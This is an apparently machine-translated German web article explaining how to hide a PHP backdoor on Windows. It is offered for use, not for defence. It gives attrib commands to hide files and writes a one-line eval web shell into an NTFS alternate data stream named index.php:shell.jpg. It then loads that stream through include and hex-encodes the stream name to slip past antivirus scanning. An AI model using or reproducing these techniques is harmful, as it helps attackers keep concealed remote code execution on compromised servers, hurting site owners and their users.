Heim >Backend-Entwicklung >PHP-Problem >Wie verstecke ich eine Hintertür in PHP?
So verbergen Sie die Hintertür in PHP: Erstellen Sie zunächst eine versteckte Systemdatei und anschließend eine versteckte ADS-Datei.
So verstecken Sie die Hintertür in PHP:
1. Attribut +s +h
Erstellen Sie versteckte Systemdateien.
attrib +s +a +r +h
/ attrib +s +h
Dateiname
Versteckte Dateien anzeigen
2. Verwenden Sie ADS, um Dateien auszublenden
NTFS Alternate Data Streams (kurz ADS) ist eine Funktion des NTFS-Festplattenformats Im Dateisystem kann jede Datei mehrere Datenströme haben. Nach allgemeiner Auffassung können andere Dateien in einer bestimmten Datei „gehostet“ werden, im Ressourcenmanager ist jedoch nur die Hostdatei sichtbar und die Hostdatei kann nicht gefunden werden. Mit ADS-Datenströmen können wir viele interessante Dinge tun. (Kopiert)
1. Erstellen Sie zunächst die versteckte ADS-Datei
Geben Sie in der Befehlszeile einen Datenstrom aus, z. B Die Indexdatei ist ein normales Dokument.
echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg
Dadurch wird ein unsichtbarer index.php:shell.jpg generiert
Sie können ihn mit dem dir/r
Befehl
2. Die Datei enthält
Wir haben index.php:shell generiert .jpg, kann durch Einbinden der Datei verwendet werden.<?php include(‘index.php:shell.jpg‘)?>Technische Freigabe von Bildern Sie können auch die versteckte include.php verwenden, die Sie oben gelernt haben
3. Vermeiden Sie das Töten
Es funktioniert nicht, selbst wenn Sie es verstecken, Bruder, der D-Schild explodiert sofort, wenn Sie ihn fegen. Hex encode index.php:shell.jpg<?php $a="696E6465782E7068703A7368656C6C2E6A7067"; // index.php:shell.jpg hex编码 $b="a"; include(PACK(‘H*‘,$$b)) ?>
Verwandte Lernempfehlungen:
Das obige ist der detaillierte Inhalt vonWie verstecke ich eine Hintertür in PHP?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!